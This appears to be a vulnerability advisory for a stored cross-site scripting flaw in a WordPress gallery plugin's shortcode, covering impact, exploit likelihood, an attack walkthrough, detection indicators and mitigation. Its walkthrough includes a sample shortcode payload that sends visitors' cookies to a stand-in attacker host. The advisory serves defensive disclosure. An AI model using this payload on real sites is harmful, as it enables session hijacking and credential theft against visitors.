CVE-2025-13612: 
WordPress vulnerability analysis and mitigation

CVE-2025-13612 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Album and Image Gallery plus Lightbox" WordPress plugin by Essential Plugin. It affects all versions up to and including 2.1.7, stemming from insufficient input sanitization and output escaping on user-supplied attributes in the aigpl-gallery-album shortcode. Authenticated attackers with contributor-level access or above can inject arbitrary web scripts into pages that execute when any user visits the affected page. It was published on February 19, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability exists because the plugin's aigpl-gallery-album shortcode fails to properly sanitize user-supplied attributes before rendering them in HTML output, allowing malicious script injection. An attacker with at minimum contributor-level WordPress access can craft a shortcode with embedded JavaScript that is stored in the database and served to all subsequent visitors of the affected page. The attack vector is network-based, requires low privileges, no user interaction, and has a changed scope, meaning the injected script executes in the context of the victim's browser session (Red Hat CVE, Wordfence).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who visit pages containing the injected shortcode, resulting in low confidentiality and integrity impacts. Potential consequences include session cookie theft, credential harvesting, defacement of page content, redirection to malicious sites, or delivery of further malware payloads to site visitors. While availability is not directly impacted, the persistent nature of stored XSS means all visitors to affected pages are at risk until the malicious content is removed (Red Hat CVE).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-13612. The EPSS score is approximately 0.032%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, Red Hat CVE).

1. Reconnaissance: Identify WordPress sites running the "Album and Image Gallery plus Lightbox" plugin version 2.1.7 or earlier using tools like WPScan or by inspecting plugin directories.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page and insert the aigpl-gallery-album shortcode with a malicious attribute containing a JavaScript payload, e.g., [aigpl-gallery-album attribute="\"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the content: Save or publish the post/page so the malicious shortcode is stored in the WordPress database.
5. Trigger execution: When any user (including administrators) visits the page containing the injected shortcode, the browser renders and executes the embedded JavaScript, enabling session hijacking, credential theft, or further attacks (Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing encoded script tags or JavaScript within shortcode attributes; unusual edits to posts/pages by contributor-level accounts.
• File System: No direct file system artifacts expected for stored XSS, but review the WordPress database (wp_posts table) for entries containing <script>, javascript:, or onerror= within aigpl-gallery-album shortcode attributes.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages with the plugin's gallery shortcode; unusual referrer patterns in web server logs originating from affected pages.
• Process/Behavior: Unexpected admin account creation or privilege escalation events in WordPress logs following user visits to affected pages, which may indicate session hijacking via stolen cookies.

Site administrators should update the "Album and Image Gallery plus Lightbox" plugin to a version beyond 2.1.7 that includes a fix for this vulnerability, once a patched release is made available by the vendor (Essential Plugin). In the interim, consider disabling the plugin entirely or restricting contributor-level and above user registrations to trusted individuals only. Implementing a Web Application Firewall (WAF) — such as Wordfence — can help detect and block XSS payloads targeting this shortcode (Wordfence, Red Hat CVE).

Wordfence included CVE-2025-13612 in their weekly WordPress vulnerability report for the period of February 16–22, 2026, highlighting it as part of a broader set of plugin vulnerabilities affecting WordPress sites (Wordfence). Red Hat also tracked the CVE in their security advisory database. No significant independent researcher commentary or broader media coverage has been identified for this vulnerability.